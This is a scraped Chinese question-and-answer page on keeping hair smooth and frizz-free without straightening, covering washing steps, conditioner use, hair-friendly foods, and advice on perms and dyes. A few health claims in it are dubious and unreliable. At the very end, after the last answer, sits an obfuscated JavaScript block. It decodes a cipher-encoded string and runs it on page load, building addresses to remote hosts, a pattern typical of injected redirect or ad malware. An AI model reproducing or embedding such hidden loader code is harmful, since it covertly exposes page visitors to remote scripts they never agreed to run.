不想拉头发,怎么可以让头发又顺又亮,不毛躁?
发质不错,就是有点毛躁,又不想拉直伤头发。
推荐回答(5个)
正确的洗发方法可以使头发又顺又亮,不毛躁。
准备材料:洗发水,护发素,吹风机,梳子。
1、在洗发之前先用梳子将头发完全梳顺。
![](/picurl?url=https%3A%2F%2Fiknow-pic.cdn.bcebos.com%2Fbf096b63f6246b6010f799fbe5f81a4c500fa247%3Fx-bce-process%3Dimage%252Fresize%252Cm_lfit%252Cw_600%252Ch_800%252Climit_1%252Fquality%252Cq_85%252Fformat%252Cf_auto)
2、洗头发的时候先用清水将表面的灰尘冲洗掉。
![](/picurl?url=https%3A%2F%2Fiknow-pic.cdn.bcebos.com%2F8b13632762d0f7036e5b805306fa513d2797c550%3Fx-bce-process%3Dimage%252Fresize%252Cm_lfit%252Cw_600%252Ch_800%252Climit_1%252Fquality%252Cq_85%252Fformat%252Cf_auto)
3、在手心挤适量的洗发水,双手打出泡沫后在涂抹在头发上。
![](/picurl?url=https%3A%2F%2Fiknow-pic.cdn.bcebos.com%2Ffaf2b2119313b07efdcd448702d7912396dd8cc8%3Fx-bce-process%3Dimage%252Fresize%252Cm_lfit%252Cw_600%252Ch_800%252Climit_1%252Fquality%252Cq_85%252Fformat%252Cf_auto)
4、将手心的泡沫以打圈的方式涂抹在头发上,泡沫可以防止头发收到损伤。
![](/picurl?url=https%3A%2F%2Fiknow-pic.cdn.bcebos.com%2F5d6034a85edf8db1a44868eb0723dd54574e74de%3Fx-bce-process%3Dimage%252Fresize%252Cm_lfit%252Cw_600%252Ch_800%252Climit_1%252Fquality%252Cq_85%252Fformat%252Cf_auto)
5、用清水将泡沫冲洗干净。
![](/picurl?url=https%3A%2F%2Fiknow-pic.cdn.bcebos.com%2F91529822720e0cf3c4ac64740446f21fbf09aae1%3Fx-bce-process%3Dimage%252Fresize%252Cm_lfit%252Cw_600%252Ch_800%252Climit_1%252Fquality%252Cq_85%252Fformat%252Cf_auto)
6、再挤适量的洗发水对头发做第二次清洗。这次将手指插入头发内部,按摩头皮4-5分钟时间。
![](/picurl?url=https%3A%2F%2Fiknow-pic.cdn.bcebos.com%2Fa6efce1b9d16fdfacc81ed61ba8f8c5495ee7b4b%3Fx-bce-process%3Dimage%252Fresize%252Cm_lfit%252Cw_600%252Ch_800%252Climit_1%252Fquality%252Cq_85%252Fformat%252Cf_auto)
7、再次将头发冲洗干净。
![](/picurl?url=https%3A%2F%2Fiknow-pic.cdn.bcebos.com%2F241f95cad1c8a78643b75d816909c93d71cf509b%3Fx-bce-process%3Dimage%252Fresize%252Cm_lfit%252Cw_600%252Ch_800%252Climit_1%252Fquality%252Cq_85%252Fformat%252Cf_auto)
8、冲洗干净后,取适量的护发素,双手将护发素均匀的涂抹在发尾处。
![](/picurl?url=https%3A%2F%2Fiknow-pic.cdn.bcebos.com%2F024f78f0f736afc3b5e414eabd19ebc4b6451250%3Fx-bce-process%3Dimage%252Fresize%252Cm_lfit%252Cw_600%252Ch_800%252Climit_1%252Fquality%252Cq_85%252Fformat%252Cf_auto)
9、静置5-10分钟左右,用清水将护发素冲洗干净。
![](/picurl?url=https%3A%2F%2Fiknow-pic.cdn.bcebos.com%2F4a36acaf2edda3cc3b99aeaf0fe93901213f923b%3Fx-bce-process%3Dimage%252Fresize%252Cm_lfit%252Cw_600%252Ch_800%252Climit_1%252Fquality%252Cq_85%252Fformat%252Cf_auto)
10、最后使用吹风机将头发完全吹干即可。用这个方法洗头发可以让头发柔顺发亮,不毛躁。
![](/picurl?url=https%3A%2F%2Fiknow-pic.cdn.bcebos.com%2Fa71ea8d3fd1f4134149e13f12b1f95cad0c85e97%3Fx-bce-process%3Dimage%252Fresize%252Cm_lfit%252Cw_600%252Ch_800%252Climit_1%252Fquality%252Cq_85%252Fformat%252Cf_auto)
1、选择适合的洗润发乳
要想是自己的头发变得柔顺有光泽,那么选择一个适合自己的洗发水就很重要了,最好要选择温和植物性的洗发水,这样可以减少洗发水中的化学成分对头发及头皮造成损伤。建议每两天洗一次头发并使用护发素对头发进行滋养,使发丝能充分吸收营养,保持光泽柔顺。
2、用护发油为头发补充营养
将头发吹至约8分干之后,可以擦上免冲洗类的护品,轻轻的抹一些在发尾处即可,这样可以让受创较深的发根得到滋润,也不会让整头头发显得非常油腻。
![](/picurl?url=https%3A%2F%2Fiknow-pic.cdn.bcebos.com%2F6609c93d70cf3bc7f71db31bdc00baa1cd112a23%3Fx-bce-process%3Dimage%252Fresize%252Cm_lfit%252Cw_600%252Ch_800%252Climit_1%252Fquality%252Cq_85%252Fformat%252Cf_auto)
3、注重养发护发
在洗发之后要使用护发产品来滋养头发,把护发产品涂抹在发梢处,过10-15分钟之后将头发清洗干净。这样的话,护发产品就可以充分渗透进头发里,当冲洗干净后会发现发质明显变光滑柔顺了。
扩展资料:
帮助护理头发的食物:
1、核桃。核桃不但富含欧米伽3脂肪酸,而且还富含生物素和维生素E,它们能在一定程度上帮助头发抵御阳光照射。另外,核桃中还含有铜,有助头发保持光泽。
2、牡蛎。牡蛎富含锌,如果缺锌则导致脱发、头皮发干,并易生头皮屑,甚至睫毛也会脱落。此外,牡蛎还富含蛋白质。德雷耶表示,头发最主要的成分是蛋白质。如果体内缺少足够的蛋白质,则脱落的头发无法及时补充,还会让新生的头发干枯、脆弱。
3、蛋类。除了富含优质蛋白质外,蛋类还富含有益头发健康的四种矿物质:锌、硒、硫和铁。铁对头发健康尤其重要,因为它有助于细胞给发囊输送氧气,而且缺乏铁是导致掉发的主要原因。
参考资料来源:人民网-如何有效护理头发 这些方法让头发柔顺健康
参考资料来源:人民网-头发最钟爱的5种食物 让你永远黑发飘飘
不想拉头发,让头发又顺又亮,不毛躁要注意日常护理养护头发。
日常护发方法:
一:按摩干枯毛躁的头发
想让头发恢复光泽,那么就要关注肾上腺是否运转正常,所以通过指压肾穴穴道,可以改善无光泽的头发,一天按摩几次没有限制。
两手十指微曲,以十指指端从前发际起,经头顶向枕后发际推动,重复操作20~40次。
二:要用正确的洗头发方法
洗发是护发的第一步,但如果洗发方式不当,就会对头发造成伤害,一定要采用正确的洗发方法。
在洗发时,正确的方法是要将洗发水先倒在手心上,加一点水,双手搓出丰富泡沫后再涂在头发上。
洗完头发不要使劲摩擦头发,湿发的毛鳞片已经完全打开,如果这时摩擦头发或用梳子梳头,就易造成头发分叉的情况。
三:注重养发护发
在洗发之后要使用护发产品来滋养头发,把护发产品涂抹在发梢处,之后戴上浴帽,过10~15分钟之后将头发清洗干净。
这样可以让护发产品充分渗透进头发里,当冲洗干净后,会发现发质明显变得光滑柔顺了。
四:用啤酒洗头发
用啤酒洗头以后,头发会变柔软、柔顺,而且有淡淡的啤酒香。
用法:每次洗头,都倒适量的啤酒到洗头发的水里,然后洗头,不要把啤酒直接倒在头发上,这样会腐蚀发根的。
![](/picurl?url=https%3A%2F%2Fiknow-pic.cdn.bcebos.com%2Fd01373f082025aafd12a3ea8fdedab64034f1abc%3Fx-bce-process%3Dimage%252Fresize%252Cm_lfit%252Cw_600%252Ch_800%252Climit_1%252Fquality%252Cq_85%252Fformat%252Cf_auto)
状况一:睡前洗头,起床后卷发毛燥不堪 快招:先以保湿喷雾为头发打底,再以少量抗毛燥发乳塑造发丝卷度,以吹风机搭配卷梳吹干定型。 状况二:分叉发丝枯黄无光泽,根本来不及使用直发电棒烫。 快招:使用滋润度高的修护品顺毛鳞片拉直,增加发丝柔软度,特别在分叉处轻轻搓揉,同时可以减少摩擦,防止之后的静电情形。 状况三:睡一觉,发丝纠结梳不开。 快招:千万不要使用暴力,太干的头发才容易纠结,以免冲洗的护发乳轻拍,或使用含矽的造型品在打结处,等发丝柔软后,再轻轻以手指拨开。 状况四:分叉的发型强韧度低,捉发后又容易塌下变形。 快招:先为发丝补充水分,以补水性高的护发品为头发做好营养补充,再使用一般造型品塑型,最后再以定型喷雾为造型建立支撑度。 关于洗发水和护发素 市面上现在有很多二合一或多合一的洗发水,满足了人们喜欢偷懒的习惯,看似节约了时间,其实对头发并没有多大好处。因为洗发水是起到清洁的作用,而护发素能够瞬间收缩毛鳞片,起到润滑的作用。使用二合一洗发水,在没有冲净的情况下,已经让毛鳞片收缩了,便没有达到充分清洁的目的。 一般使用护发素时,只要用在发梢上即可,不要碰到头皮。天生卷或头发较为干枯的可适量增加护发素的用量。非常细软的发质一般头皮都容易出油,可以少用或不用护发素。 PS:应该用温水洗发,过热或过冷的水,都不利于头皮的健康,容易出现头皮屑。 此外,经常性干洗对头发是没有好处的,不要贪图一时的舒适,而忽略了头发的健康。头发的脱落,往往是从头顶开始的。(那是因为每次倒洗发水的地方,浸泡时间过长) 关于剪发 一个适合的发型设计要综合考虑到头型、脸型、脖子的长短、身高以及个人气质等多方面因素。换句话说就是:合适的发型=时尚+适合(自己的) 对于发量较少的头发,我建议剪发时层次不要太高,这样线条比较实,有饱满的效果。最好不要留得太长,因为头发越长就会显得头发越少。 有些发量偏少的MM应该有这样的经历,吹过的发型二、三个小时后就会走样了。这样的头发可以考虑烫发,使头发变得蓬松,当然,具体操作要根据个人情况而定。 对于发量较多的头发,一般来说,发型师会建议打薄,这是解决“多”的一种有效办法,但最好的解决方法是靠层次来调节发量。 此外,最好的保护头发的方法就是勤修剪,这是我在新天地沙宣进修时,一位英国的老师对我说过的。当时我对这句话的涵义并没有完全的领悟,后来才逐渐体味出这句话非常的有道理。比方说:枯而毛的头发,勤修剪可以一直保持清晰的层次,头发一根压一根,想翘起来也没门。 关于烫发 目前流行的烫发有很多种,离子烫、喇叭烫、菱形烫、陶瓷烫等等,一时让人难以选择。不过大致分为以下两种: 烫卷 一般是达到使头发蓬松且线条柔和的效果。目前流行的喇叭烫、陶瓷烫等都可以实现这个效果。有些MM担心烫卷会显得老气,其实选择合适的卷度和烫发工具做出来的效果反而会使发型变得更加活泼可爱。较长的头发烫卷更可以凭添几分女人味:拿不定是否烫卷的MM,可以先试一下一次性电棒卷,感受一下。 离子烫 它和一般的烫发原理不一样,是把头发分子结构破坏后重组改变头发的状态,对头发损伤较大。目前流行的负离子、游离子、柔离子、阳离子、水离子等,只是商家的促销手段而已,它们都是大同小异的,实质是一样的。 其实,离子烫最初是为了解决自然卷的拉直问题,后来有一段时间非常的流行,甚至头发原本就较直的也要烫离子烫,这样虽然达到很直的效果且方便平时打理,但对头发的健康十分不利。 我建议,除非天生卷最好不要用离子烫,选择一般性直发柔顺即可,也比较实惠。 关于染发 染发产品一般分为三种:漂染(就是一般性的褪色)、金属性染膏、植物性染膏。一般来说,漂染对头发的伤害性比较大,而且容易变黄变白,不是特殊情况下,不建议选用。而金属性染膏的材料是从矿物质里提炼出来的,对人的身体是有害的,大家可能也听说过染发能够致使皮肤癌,这种染膏就是罪魁祸首。不过大家放心,这种染膏,较大店的都没有了。而植物性染膏,是从植物中提炼出来的精华,相对温和了许多,也是目前市场是最专业的染膏(如歌微、黑人头、威娜等)。 染一个漂亮头发,要根据肤色、工作环境、个人喜好等来决定。就像装修房子时精心挑选涂料的颜色,染发也是美发很重要的环节,它可以改
嗯,你和我一样发质不错只是不滑。洗发水用海飞丝吧,轻柔呵护型的。然后再用护发素,护发素一洗就滑滑的。试试吧。
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();